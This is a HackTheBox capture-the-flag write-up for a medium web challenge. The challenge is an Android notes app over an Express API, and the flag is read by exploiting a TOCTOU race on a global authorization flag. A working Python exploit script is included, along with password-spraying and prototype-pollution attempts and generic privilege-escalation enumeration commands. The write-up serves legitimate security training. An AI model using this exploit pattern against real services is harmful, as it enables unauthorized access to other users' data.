Celestial Scribe
Celestial Scribe
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-29 | Status: Solved Techniques: apk_decompilation, authorization_race_condition, numeric_id_enumeration, toctou_global_state_poisoning
Summary
Task: Android APK (Secure Cloud Notes) frontend over an Express/Node.js REST API; flag lives in a protected admin note. Solution: TOCTOU on a process-global authorization flag — a legitimate check-permission on an owned note poisons the shared allowed state, then an immediate GET of the admin note (numeric id 1) bypasses access control.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260529_hackthebox_celestial_scribe - Tags: race_condition, toctou, jwt, nodejs, idor, express, broken_access_control, android_apk
- Indicators: check-permission and get-note are two separate requests, client sleeps 100ms between auth check and read, authorization result stored in process-global variable, notes stored under numeric ids not string flag, HS256 JWT secret not crackable
- Source:
20260529_hackthebox_celestial_scribe.md
Foothold
Vulnerability / Misconfiguration
- Apk_decompilation
- Authorization_race_condition
- Numeric_id_enumeration
- Toctou_global_state_poisoning
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- apk_decompilation
- authorization_race_condition
- numeric_id_enumeration
- toctou_global_state_poisoning
- Tags: race_condition, toctou, jwt, nodejs, idor, express, broken_access_control, android_apk
Original Writeup
<details><summary>Click to expand original content</summary>Celestial Scribe — HackTheBox
Description
Secure Cloud Notes — an Android app for storing your private notes in the cloud. Configure your server base URL and keep your secrets safe. (package
htb.d3vnu11.securenotes)
English summary: The challenge ships an Android APK that acts as a thin client over a remote Express/Node.js REST API. The user points the app at http://IP:PORT/api. The flag is stored inside a hidden admin note that a normal user is not authorized to read. The goal is to read that protected note.
Recon
APK decompilation
Decompiled the APK with jadx and apktool. Package: htb.d3vnu11.securenotes. From the decompiled sources we recover the full API surface:
| Method | Endpoint | Behavior |
|---|---|---|
| POST | /api/auth/register {email, password} | returns HS256 JWT |
| POST | /api/auth/login {email, password} | returns HS256 JWT |
| GET | /api/auth/verify | returns userId |
| GET | /api/notes | list of own notes {id, title, createdAt} |
| GET | /api/notes/:id/check-permission | 200 {success:true} if caller owns note, else 403 Access denied |
| GET | /api/notes/:id | note content if permitted |
| POST | /api/notes {id, title, content} | create note |
| DELETE | /api/notes/:id | delete note |
The critical client flow
The decompiled note-open routine (class D0 / h.java) performs the read in two separate server round-trips with a delay in between:
GET /notes/:id/check-permission // authorization check
Thread.sleep(100) // <-- 100 ms gap
GET /notes/:id // actual read
This split between the time-of-check (check-permission) and the time-of-use (GET note) is the structural hint that the authorization decision is not bound to the read request.
JWT
The bundled sample token (jwt.txt) decodes to HS256 with payload {id, email: test@test.com, iat, exp}.
Hypotheses Tried and Discarded
These were all dead ends — documented so other players skip them:
- JWT attacks. The HS256 signing secret was not crackable (absent from rockyou, top-200, and themed wordlists).
alg:nonewas rejected; tampered signatures were rejected. JWT forgery is impossible here. - Credential hunting / password spraying. Spraying default passwords (e.g.
Tmp123456!) against guessed accounts likeflag@securecloudnotes.htb,admin@…is a pure red herring. Importantly, the literal note idflagdoes not exist. - Prototype pollution via query string.
?a[__proto__][flag]=1,__proto__[flag][id]=flag— no observable effect. - Object / type-confusion writes. POST
/noteswith object-typedtitle/contentonly produced500 Server error. - Email normalization / duplicate-key JSON / Unicode email collisions. No account takeover.
- Naive race against your own
check-permissionto flip aflagGET. Produced only403/404noise — because the idflaggenuinely does not exist (404 once the gate opened).
The Vulnerability — TOCTOU on Global Authorization State
The Express backend stores the result of check-permission in a process-global variable (e.g. a module-level allowed flag) rather than scoping it to the individual request/user. Because authorization and the read are two separate HTTP requests, the global state can be poisoned:
- A legitimate
GET /notes/<ownId>/check-permissionsets the sharedallowed = true. - Any subsequent
GET /notes/<anyId>that arrives before the flag is reset / re-evaluated reads the poisoned global, passes the gate, and returns the note regardless of ownership.
This is a classic time-of-check-to-time-of-use (TOCTOU) broken-access-control bug combined with shared mutable server state. No JWT forgery, no credential theft — just exploiting the gap the client itself exposes with its Thread.sleep(100).
Exploitation
- Register any account; capture the JWT.
GET /api/notesto learn your own note id.GET /api/notes/<ownId>/check-permission→ legitimately returns 200 and poisons the globalallowed=true.- Immediately
GET /api/notes/<targetId>→ reads the poisoned global, bypasses the gate, returns the admin note.
Because there is a real race window, each attempt succeeds roughly ~50% of the time; a short loop (8–20 iterations) succeeds deterministically.
#!/usr/bin/env python3
import requests, time
base = 'http://TARGET:PORT/api'
s = requests.Session()
# 1) register & grab JWT
tok = s.post(base + '/auth/register',
json={'email': f'a{int(time.time())}@test.com',
'password': 'P@ssw0rd123!'}).json()['token']
h = {'Authorization': f'Bearer {tok}'}
# 2) own note id
own = s.get(base + '/notes', headers=h).json()['notes'][0]['id']
# 3+4) poison global allowed=true, then read protected admin note (numeric id "1")
for _ in range(20):
s.get(base + f'/notes/{own}/check-permission', headers=h) # poison
r = s.get(base + '/notes/1', headers=h) # bypass read
if r.status_code == 200:
print(r.json()['note']['content'])
break
Key Insight — Numeric Note IDs, Not flag
The decisive realization: notes are stored under numeric indices (1, 2, …), not the string flag. The fake flag id sends countless solvers down a rabbit hole. After leaking the permission grant, iterating ids reveals:
GET /api/notes/1→ admin-note-1, title "Secure System Configuration", content = the flag.GET /api/notes/2→ admin-note-2, a decoy "Server Maintenance Schedule".
Behavioral evidence confirming the bug:
- No priming:
GET /notes/flag→ always 403. - Own-note
check-permissionthen GET → 404/403 mix (gate opened, butflagid missing → 404), proving the global-permission leak is real andflagis fake. - Own-note
check-permissionthenGET /notes/1→ 200 with the flag.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR